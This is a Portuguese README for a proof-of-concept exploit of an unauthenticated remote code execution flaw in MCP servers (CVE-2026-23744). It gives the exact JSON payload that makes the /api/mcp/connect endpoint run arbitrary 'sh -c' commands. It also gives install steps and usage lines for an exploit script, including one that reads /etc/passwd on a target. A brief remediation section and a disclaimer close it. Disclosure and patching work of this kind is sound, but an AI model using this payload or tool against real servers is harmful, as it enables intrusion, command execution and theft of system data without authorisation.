CVE-2026-23744 — RCE Não Autenticado em Servidor MCP

Prova de conceito (PoC) por d3vn0mi

Visão Geral

CVE-2026-23744 é uma vulnerabilidade de Execução Remota de Código (RCE) não autenticada em servidores compatíveis com MCP expostos na porta 6274. O endpoint /api/mcp/connect aceita um objeto serverConfig que permite aos chamadores especificar um comando e argumentos arbitrários do sistema operacional — sem qualquer verificação de autenticação ou autorização.

Um atacante com acesso à rede ao serviço pode executar comandos arbitrários como o utilizador que executa o servidor MCP.

Detalhe	Valor
ID CVE	CVE-2026-23744
Tipo	Execução Remota de Código Não Autenticada
Endpoint	`POST /api/mcp/connect`
Porta	6274 (padrão)
Gravidade	Crítica

Payload Vulnerável

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<COMANDO_DO_ATACANTE>"],
    "env": {}
  },
  "serverId": "qualquer_coisa"
}

O servidor executa o command fornecido com os args indicados sem sanitização ou controlo de acesso.

Instalação

git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt

Utilização

# Utilização básica
python3 exploit.py -t <IP_ALVO> -c '<COMANDO>'

# Porta personalizada
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'

# Ignorar a verificação de alcance
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check

# ID de servidor personalizado
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server

Opções

Flag	Descrição
`-t`, `--target`	IP ou nome de anfitrião do alvo (obrigatório)
`-c`, `--command`	Comando do sistema operativo a executar (obrigatório)
`-p`, `--port`	Porta do alvo (padrão: `6274`)
`-s`, `--server-id`	Valor de `serverId` no payload
`--timeout`	Tempo limite da sonda em segundos (padrão: `30`)
`--no-check`	Ignorar a verificação inicial de alcance

Remediação

Não exponha o servidor MCP a redes não confiáveis.
Aplique os patches do fornecedor assim que estiverem disponíveis.
Restrinja o acesso ao endpoint /api/mcp/connect através de autenticação e controlos ao nível da rede.
Monitorize a criação de processos inesperados a partir do processo do servidor MCP.

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas informáticos é ilegal. O autor não assume qualquer responsabilidade por uso indevido. Obtenha sempre autorização adequada antes de testar.

Licença

Este projeto está licenciado sob a Licença MIT.

Autor

d3vn0mi — github.com/d3vn0mi

CVE-2026-23744-POC

Mais Populares